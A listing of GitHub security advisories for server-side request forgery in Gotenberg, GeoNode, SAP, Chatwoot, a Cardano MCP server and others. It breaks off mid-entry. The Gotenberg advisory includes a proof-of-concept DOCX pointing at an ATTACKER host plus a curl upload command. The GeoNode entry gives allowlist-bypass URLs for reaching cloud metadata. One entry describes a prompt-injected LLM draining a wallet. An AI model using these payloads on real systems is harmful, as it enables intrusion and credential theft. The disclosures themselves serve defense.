CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4626 vulnerabilities reference this CWE, most recent first.
GHSA-RM2G-FHMJ-6XH3
Vulnerability from github – Published: 2026-01-16 09:31 – Updated: 2026-04-08 21:33The DK PDF – WordPress PDF Generator plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.3.0 via the 'addContentToMpdf' function. This makes it possible for authenticated attackers, author level and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-14793"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-16T07:15:54Z",
"severity": "MODERATE"
},
"details": "The DK PDF \u2013 WordPress PDF Generator plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.3.0 via the \u0027addContentToMpdf\u0027 function. This makes it possible for authenticated attackers, author level and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-rm2g-fhmj-6xh3",
"modified": "2026-04-08T21:33:10Z",
"published": "2026-01-16T09:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14793"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/dk-pdf/tags/2.3.0/modules/PDF/DocumentBuilder.php#L213"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/dk-pdf/tags/2.3.0/templates/dkpdf-index.php#L134"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/dk-pdf/trunk/modules/Frontend/WordPressIntegration.php?marks=22-25#L22"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/dk-pdf/trunk/modules/PDF/Generator.php?marks=24-56#L24"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3440588%40dk-pdf\u0026new=3440588%40dk-pdf\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b062f72a-542c-4212-af83-4faefbf69bd7?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RM4C-XJ6X-49MW
Vulnerability from github – Published: 2026-05-07 00:57 – Updated: 2026-05-14 20:52Summary
The SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg's Go code handles — Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.
This was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.
Details
When a file is uploaded to /forms/libreoffice/convert, the route in pkg/modules/libreoffice/routes.go reads form parameters and passes the input file directly to libreOffice.Pdf():
err = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)
There's no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (pkg/gotenberg/outbound.go) wraps Go's http.Client with a custom dialer that resolves URLs and rejects non-public IPs — but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can't intercept that.
OOXML formats like DOCX can embed external image references using TargetMode="External" in relationship files. LibreOffice fetches those URLs during PDF conversion.
Suggested fix: Run LibreOffice with unshare --net to drop all network access from the subprocess — no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for _rels/*.rels entries with TargetMode="External" and validate/strip those URLs before passing the file to LibreOffice.
PoC
Build a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.
word/_rels/document.xml.rels:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId10"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://ATTACKER:9877/ssrf"
TargetMode="External"/>
</Relationships>
word/document.xml (references the external image via r:link):
<w:drawing>
<wp:inline distT="0" distB="0" distL="0" distR="0">
<wp:extent cx="914400" cy="914400"/>
<wp:docPr id="1" name="Picture 1"/>
<a:graphic>
<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
<pic:pic>
<pic:nvPicPr>
<pic:cNvPr id="1" name="ssrf.png"/>
<pic:cNvPicPr/>
</pic:nvPicPr>
<pic:blipFill>
<a:blip r:link="rId10"/>
<a:stretch><a:fillRect/></a:stretch>
</pic:blipFill>
<pic:spPr>
<a:xfrm>
<a:off x="0" y="0"/>
<a:ext cx="914400" cy="914400"/>
</a:xfrm>
<a:prstGeom prst="rect"><a:avLst/></a:prstGeom>
</pic:spPr>
</pic:pic>
</a:graphicData>
</a:graphic>
</wp:inline>
</w:drawing>
Pack into a valid DOCX zip and send:
curl -s -o output.pdf \
http://TARGET:3000/forms/libreoffice/convert \
--form files=@ssrf_test.docx
Canary server immediately shows LibreOffice reaching out:
OPTIONS /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
GET /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against gotenberg/gotenberg:8.31.0.
Impact
LibreOffice makes full GET requests, so response data can be exfiltrated through the generated PDF:
- Hit internal services — localhost, 10.x, 192.168.x, whatever the container can reach
- Grab cloud metadata at
http://169.254.169.254/(AWS/GCP/Azure IAM creds) - Port scan the internal network via response timing
- The v8.31.0 SSRF hardening doesn't help here at all — it only covers Go HTTP calls, not LibreOffice's own connections
Anything LibreOffice opens that can carry external refs is affected: .docx, .docm, .xlsx, .xlsm, .pptx, .pptm, .odt, .ods, .odp, .rtf.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "8.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42591"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:57:03Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg\u0027s Go code handles \u2014 Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (`/forms/libreoffice/convert`) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.\n\nThis was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.\n\n### Details\n\nWhen a file is uploaded to `/forms/libreoffice/convert`, the route in `pkg/modules/libreoffice/routes.go` reads form parameters and passes the input file directly to `libreOffice.Pdf()`:\n\n```go\nerr = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)\n```\n\nThere\u0027s no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (`pkg/gotenberg/outbound.go`) wraps Go\u0027s `http.Client` with a custom dialer that resolves URLs and rejects non-public IPs \u2014 but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can\u0027t intercept that.\n\nOOXML formats like DOCX can embed external image references using `TargetMode=\"External\"` in relationship files. LibreOffice fetches those URLs during PDF conversion.\n\n**Suggested fix:** Run LibreOffice with `unshare --net` to drop all network access from the subprocess \u2014 no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for `_rels/*.rels` entries with `TargetMode=\"External\"` and validate/strip those URLs before passing the file to LibreOffice.\n\n### PoC\n\nBuild a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.\n\n**`word/_rels/document.xml.rels`:**\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e\n\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\n \u003cRelationship Id=\"rId10\"\n Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n Target=\"http://ATTACKER:9877/ssrf\"\n TargetMode=\"External\"/\u003e\n\u003c/Relationships\u003e\n```\n\n**`word/document.xml`** (references the external image via `r:link`):\n\n```xml\n\u003cw:drawing\u003e\n \u003cwp:inline distT=\"0\" distB=\"0\" distL=\"0\" distR=\"0\"\u003e\n \u003cwp:extent cx=\"914400\" cy=\"914400\"/\u003e\n \u003cwp:docPr id=\"1\" name=\"Picture 1\"/\u003e\n \u003ca:graphic\u003e\n \u003ca:graphicData uri=\"http://schemas.openxmlformats.org/drawingml/2006/picture\"\u003e\n \u003cpic:pic\u003e\n \u003cpic:nvPicPr\u003e\n \u003cpic:cNvPr id=\"1\" name=\"ssrf.png\"/\u003e\n \u003cpic:cNvPicPr/\u003e\n \u003c/pic:nvPicPr\u003e\n \u003cpic:blipFill\u003e\n \u003ca:blip r:link=\"rId10\"/\u003e\n \u003ca:stretch\u003e\u003ca:fillRect/\u003e\u003c/a:stretch\u003e\n \u003c/pic:blipFill\u003e\n \u003cpic:spPr\u003e\n \u003ca:xfrm\u003e\n \u003ca:off x=\"0\" y=\"0\"/\u003e\n \u003ca:ext cx=\"914400\" cy=\"914400\"/\u003e\n \u003c/a:xfrm\u003e\n \u003ca:prstGeom prst=\"rect\"\u003e\u003ca:avLst/\u003e\u003c/a:prstGeom\u003e\n \u003c/pic:spPr\u003e\n \u003c/pic:pic\u003e\n \u003c/a:graphicData\u003e\n \u003c/a:graphic\u003e\n \u003c/wp:inline\u003e\n\u003c/w:drawing\u003e\n```\n\nPack into a valid DOCX zip and send:\n\n```sh\ncurl -s -o output.pdf \\\n http://TARGET:3000/forms/libreoffice/convert \\\n --form files=@ssrf_test.docx\n```\n\nCanary server immediately shows LibreOffice reaching out:\n\n```\nOPTIONS /GOTENBERG_SSRF HTTP/1.1\nHost: host.docker.internal:9877\nUser-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5\nAccept: */*\nAccept-Encoding: deflate, gzip, br, zstd\n\nGET /GOTENBERG_SSRF HTTP/1.1\nHost: host.docker.internal:9877\nUser-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5\nAccept: */*\nAccept-Encoding: deflate, gzip, br, zstd\n```\n\n3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against `gotenberg/gotenberg:8.31.0`.\n\n### Impact\n\nLibreOffice makes full GET requests, so response data can be exfiltrated through the generated PDF:\n\n- Hit internal services \u2014 localhost, 10.x, 192.168.x, whatever the container can reach\n- Grab cloud metadata at `http://169.254.169.254/` (AWS/GCP/Azure IAM creds)\n- Port scan the internal network via response timing\n- The v8.31.0 SSRF hardening doesn\u0027t help here at all \u2014 it only covers Go HTTP calls, not LibreOffice\u0027s own connections\n\nAnything LibreOffice opens that can carry external refs is affected: `.docx`, `.docm`, `.xlsx`, `.xlsm`, `.pptx`, `.pptm`, `.odt`, `.ods`, `.odp`, `.rtf`.",
"id": "GHSA-rm4c-xj6x-49mw",
"modified": "2026-05-14T20:52:17Z",
"published": "2026-05-07T00:57:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rm4c-xj6x-49mw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42591"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg has a Server-Side Request Forgery (SSRF) Issue"
}
GHSA-RMMQ-9VG2-553M
Vulnerability from github – Published: 2022-05-14 04:01 – Updated: 2022-05-14 04:01The external_request api call in App Studio (millicore) allows server side request forgery (SSRF). An attacker could use this flaw to probe the network internal resources, and access restricted endpoints.
{
"affected": [],
"aliases": [
"CVE-2017-7553"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-29T01:34:00Z",
"severity": "MODERATE"
},
"details": "The external_request api call in App Studio (millicore) allows server side request forgery (SSRF). An attacker could use this flaw to probe the network internal resources, and access restricted endpoints.",
"id": "GHSA-rmmq-9vg2-553m",
"modified": "2022-05-14T04:01:31Z",
"published": "2022-05-14T04:01:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7553"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2674"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2675"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2017-7553"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1478792"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RMP2-7P3X-QQG2
Vulnerability from github – Published: 2024-12-10 03:31 – Updated: 2024-12-10 03:31SAP NetWeaver Administrator(System Overview) allows an authenticated attacker to enumerate accessible HTTP endpoints in the internal network by specially crafting HTTP requests. On successful exploitation this can result in Server-Side Request Forgery (SSRF) which could have a low impact on integrity and confidentiality of data. It has no impact on availability of the application.
{
"affected": [],
"aliases": [
"CVE-2024-54197"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-10T01:15:06Z",
"severity": "HIGH"
},
"details": "SAP NetWeaver Administrator(System Overview) allows an authenticated attacker to enumerate accessible HTTP endpoints in the internal network by specially crafting HTTP requests. On successful exploitation this can result in Server-Side Request Forgery (SSRF) which could have a low impact on integrity and confidentiality of data. It has no impact on availability of the application.",
"id": "GHSA-rmp2-7p3x-qqg2",
"modified": "2024-12-10T03:31:45Z",
"published": "2024-12-10T03:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54197"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3542543"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RMXG-6QQF-X8MR
Vulnerability from github – Published: 2024-11-21 22:22 – Updated: 2024-11-21 22:22Summary
A server side request forgery vuln was found within geonode when testing on a bug bounty program. Server side request forgery allows a user to request information on the internal service/services.
Details
The endpoint /proxy/?url= does not properly protect against SSRF. when using the following format you can request internal hosts and display data. /proxy/?url=http://169.254.169.254\@whitelistedIPhere. This will state wether the AWS internal IP is alive. If you get a 404, the host is alive. A non alive host will not display a response. To display metadata, use a hashfrag on the url /proxy/?url=http://169.254.169.254\@#whitelisteddomain.com or try /proxy/?url=http://169.254.169.254\@%23whitelisteddomain.com
Impact
Port scan internal hosts, and request information from internal hosts.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "geonode"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-40017"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-21T22:22:03Z",
"nvd_published_at": "2023-08-24T23:15:09Z",
"severity": "HIGH"
},
"details": "### Summary\nA server side request forgery vuln was found within geonode when testing on a bug bounty program. Server side request forgery allows a user to request information on the internal service/services.\n\n### Details\nThe endpoint /proxy/?url= does not properly protect against SSRF. when using the following format you can request internal hosts and display data. /proxy/?url=http://169.254.169.254\\@whitelistedIPhere. This will state wether the AWS internal IP is alive. If you get a 404, the host is alive. A non alive host will not display a response. To display metadata, use a hashfrag on the url /proxy/?url=http://169.254.169.254\\@#whitelisteddomain.com or try /proxy/?url=http://169.254.169.254\\@%23whitelisteddomain.com\n\n### Impact\nPort scan internal hosts, and request information from internal hosts.\n",
"id": "GHSA-rmxg-6qqf-x8mr",
"modified": "2024-11-21T22:22:03Z",
"published": "2024-11-21T22:22:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GeoNode/geonode/security/advisories/GHSA-rmxg-6qqf-x8mr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40017"
},
{
"type": "WEB",
"url": "https://github.com/GeoNode/geonode/commit/a9eebae80cb362009660a1fd49e105e7cdb499b9"
},
{
"type": "PACKAGE",
"url": "https://github.com/GeoNode/geonode"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/geonode/PYSEC-2023-269.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "GeoNode Server Side Request forgery"
}
GHSA-RP72-5V5Q-2446
Vulnerability from github – Published: 2026-06-26 21:08 – Updated: 2026-06-26 21:08Summary
@cardano402/mcp-server versions <= 0.1.1 ship three security gaps that can lead to unauthorized fund movement when the package is used as designed (an MCP server exposing Cardano payment tools to an
Impact
1. No spending limits on signed payments
An LLM (or prompt-injected LLM) calling tools registered by the MCP server can invoke them in a loop. Each call signs a real Cardano transaction for the catalog-advertised amount. There is no per-call cap, daily ceiling, MCP elicitation/confirmation step, or recipient allowlist. The MAINNET=true env-var guardrail can be bypassed by any LLM with shell-tool access. Worst case: full wallet drain.
2. HTTP transport binds 0.0.0.0 without authentication
cardano402-mcp --transport http listens on all interfaces with no Origin allowlist, no bearer-token requirement, and no CORS check. Anyone on the same LAN can POST MCP tools/call and trigger signed payments from the operator's wallet.
3. SSRF via catalog.server.url
A malicious catalog can declare a server.url pointing at internal infrastructure (e.g. http://169.254.169.254/latest/meta-data). The allowInsecure guard in 0.1.1 only checks the catalog URL itself, not the server.url it returns. endpoint.path is also not normalized, so .. traversal or absolute URLs work.
Patches
Fixed in @cardano402/mcp-server@0.1.2:
- Per-call and per-day spending limits (default 5 ADA / 50 ADA) + optional recipient allowlist + MCP elicitation/create confirmation hook.
- HTTP transport defaults to 127.0.0.1; non-loopback requires --http-bearer-token; per-request Origin allowlist + bearer check.
- catalog.server.url validated against private-CIDR rules (RFC1918, RFC4193, link-local, CGNAT, multicast, IPv4-mapped IPv6, loopback) unless CARDANO402_ALLOW_INSECURE=true.
- endpoint.path rejected if it contains .., NUL, whitespace/CRLF, an absolute URL, or //host/....
- Per-tool mainnet opt-in via --mainnet-confirmed-tools.
## Workarounds for 0.1.1 users
- Do not run with --transport http on an untrusted network; use --transport stdio (default).
- Only point the server at catalogs you control or have audited.
- Use a low-balance hot wallet, never your main wallet.
- Avoid MAINNET=true until upgraded to 0.1.2.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.1"
},
"package": {
"ecosystem": "npm",
"name": "@cardano402/mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-770",
"CWE-862",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T21:08:06Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n`@cardano402/mcp-server` versions `\u003c= 0.1.1` ship three security gaps that can lead to unauthorized fund movement when the package is used as designed (an MCP server exposing Cardano payment tools to an\n\n## Impact\n### 1. No spending limits on signed payments\nAn LLM (or prompt-injected LLM) calling tools registered by the MCP server can invoke them in a loop. Each call signs a real Cardano transaction for the catalog-advertised amount. There is no per-call cap, daily ceiling, MCP elicitation/confirmation step, or recipient allowlist. The `MAINNET=true` env-var guardrail can be bypassed by any LLM with shell-tool access. Worst case: full wallet drain.\n\n### 2. HTTP transport binds 0.0.0.0 without authentication\n`cardano402-mcp --transport http` listens on all interfaces with no `Origin` allowlist, no bearer-token requirement, and no CORS check. Anyone on the same LAN can POST MCP `tools/call` and trigger signed payments from the operator\u0027s wallet.\n\n### 3. SSRF via `catalog.server.url`\nA malicious catalog can declare a `server.url` pointing at internal infrastructure (e.g. `http://169.254.169.254/latest/meta-data`). The `allowInsecure` guard in 0.1.1 only checks the catalog URL itself, not the `server.url` it returns. `endpoint.path` is also not normalized, so `..` traversal or absolute URLs work.\n\n## Patches\nFixed in `@cardano402/mcp-server@0.1.2`:\n - Per-call and per-day spending limits (default 5 ADA / 50 ADA) + optional recipient allowlist + MCP `elicitation/create` confirmation hook.\n - HTTP transport defaults to `127.0.0.1`; non-loopback requires `--http-bearer-token`; per-request `Origin` allowlist + bearer check.\n - `catalog.server.url` validated against private-CIDR rules (RFC1918, RFC4193, link-local, CGNAT, multicast, IPv4-mapped IPv6, loopback) unless `CARDANO402_ALLOW_INSECURE=true`.\n - `endpoint.path` rejected if it contains `..`, NUL, whitespace/CRLF, an absolute URL, or `//host/...`.\n - Per-tool mainnet opt-in via `--mainnet-confirmed-tools`.\n\n ## Workarounds for 0.1.1 users\n - Do not run with `--transport http` on an untrusted network; use `--transport stdio` (default).\n - Only point the server at catalogs you control or have audited.\n - Use a low-balance hot wallet, never your main wallet.\n - Avoid `MAINNET=true` until upgraded to 0.1.2.",
"id": "GHSA-rp72-5v5q-2446",
"modified": "2026-06-26T21:08:06Z",
"published": "2026-06-26T21:08:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MorganOnCode/cardano402/security/advisories/GHSA-rp72-5v5q-2446"
},
{
"type": "PACKAGE",
"url": "https://github.com/MorganOnCode/cardano402"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@cardano402/mcp-server missing spending limits, LAN-exposed HTTP transport, and SSRF via catalog.server.url"
}
GHSA-RP9Q-8Q5W-CH44
Vulnerability from github – Published: 2026-05-13 18:30 – Updated: 2026-05-13 18:30libcurl might in some circumstances reuse the wrong connection for SMB(S) transfers.
libcurl features a pool of recent connections so that subsequent requests can reuse an existing connection to avoid overhead.
When reusing a connection a range of criteria must be met. Due to a logical error in the code, a network transfer operation that was requested by an application could wrongfully reuse an existing SMB connection to the same server that was using a different 'share' than the new subsequent transfer should.
This could in unlucky situations lead to the download of the wrong file or the upload of a file to the wrong place. When this happens, the same credentials are used and the server name is the same.
{
"affected": [],
"aliases": [
"CVE-2026-5773"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T13:01:56Z",
"severity": "HIGH"
},
"details": "libcurl might in some circumstances reuse the wrong connection for SMB(S)\ntransfers.\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a network transfer operation that was requested by an\napplication could wrongfully reuse an existing SMB connection to the same\nserver that was using a different \u0027share\u0027 than the new subsequent transfer\nshould.\n\nThis could in unlucky situations lead to the download of the wrong file or the\nupload of a file to the wrong place. When this happens, the same credentials\nare used and the server name is the same.",
"id": "GHSA-rp9q-8q5w-ch44",
"modified": "2026-05-13T18:30:52Z",
"published": "2026-05-13T18:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5773"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3650689"
},
{
"type": "WEB",
"url": "https://curl.se/docs/CVE-2026-5773.html"
},
{
"type": "WEB",
"url": "https://curl.se/docs/CVE-2026-5773.json"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/04/29/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RPCH-GP56-FXR3
Vulnerability from github – Published: 2023-03-03 18:30 – Updated: 2023-03-10 15:30Multiple vulnerabilities in Cisco Unified Intelligence Center could allow an authenticated, remote attacker to collect sensitive information or perform a server-side request forgery (SSRF) attack on an affected system. Cisco plans to release software updates that address these vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2023-20062"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-03T16:15:00Z",
"severity": "MODERATE"
},
"details": "Multiple vulnerabilities in Cisco Unified Intelligence Center could allow an authenticated, remote attacker to collect sensitive information or perform a server-side request forgery (SSRF) attack on an affected system. Cisco plans to release software updates that address these vulnerabilities.",
"id": "GHSA-rpch-gp56-fxr3",
"modified": "2023-03-10T15:30:42Z",
"published": "2023-03-03T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20062"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cuic-infodisc-ssrf-84ZBmwVk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RPHR-FW27-85GG
Vulnerability from github – Published: 2026-03-31 18:31 – Updated: 2026-03-31 18:31A vulnerability was identified in chatwoot up to 4.11.2. Affected by this vulnerability is the function Webhooks::Trigger in the library lib/webhooks/trigger.rb of the component Webhook API. Such manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-5205"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-31T17:16:33Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in chatwoot up to 4.11.2. Affected by this vulnerability is the function Webhooks::Trigger in the library lib/webhooks/trigger.rb of the component Webhook API. Such manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-rphr-fw27-85gg",
"modified": "2026-03-31T18:31:31Z",
"published": "2026-03-31T18:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5205"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/780305"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354333"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354333/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RPJ4-7X2V-WJRF
Vulnerability from github – Published: 2026-05-15 17:47 – Updated: 2026-06-08 23:50Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.
Vulnerable Code
packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetch(fileUrl) // NO blacklist check!
// ...
const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check!
}
Contrast with All Other Automation Steps (Same Codebase)
Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:
steps/slack.ts:19:response = await fetchWithBlacklist(url, {...})steps/discord.ts:28:response = await fetchWithBlacklist(url, {...})steps/zapier.ts:33:response = await fetchWithBlacklist(url, {...})steps/n8n.ts:53:response = await fetchWithBlacklist(url, request)steps/outgoingWebhook.ts:response = await fetchWithBlacklist(url, {...})steps/make.ts:response = await fetchWithBlacklist(url, {...})
The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks:
- 127.0.0.0/8 (loopback)
- 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC1918 private)
- 169.254.0.0/16 (link-local / cloud metadata)
- IPv6 private addresses
The AI Extract File step bypasses all of these protections.
Steps to Reproduce
